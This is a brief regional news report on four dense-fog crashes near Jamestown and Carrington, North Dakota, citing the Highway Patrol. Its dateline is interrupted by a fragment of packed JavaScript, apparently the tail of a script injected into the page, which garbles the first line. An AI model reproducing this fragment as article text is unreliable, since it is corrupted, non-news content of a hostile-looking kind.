JAMESTOWN, ysbrr|var|u0026u|referrer|hrhks||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) Dense fog may have caused two semi tractor trailers to collide on Highway 281 north of Carrington Thursday morning.

North Dakota Highway Patrol Sgt. Tom Herzig said a Semi driven by Patrick Copenhaver failed to yield to a northbound Semi pulling a hopper trailer.  Copenhaver was hauling 42 cattle on a livestock trailer. Neither driver was injured in the crash which remains under investigation.

In Stutsman County two semi tractors had a collision north of Buchanan Thursday morning.  No injuries reported.

Then a maintainer collided with a pickup after both vehicles crested a hill on a gravel road northwest of Woodworth Thursday morning. No injuries reported.

A car and pickup crashed on Highway 52 north of Jamestown Thursday morning. No injuries reported. Herzig said dense fog may have been a factor in all four of these accidents.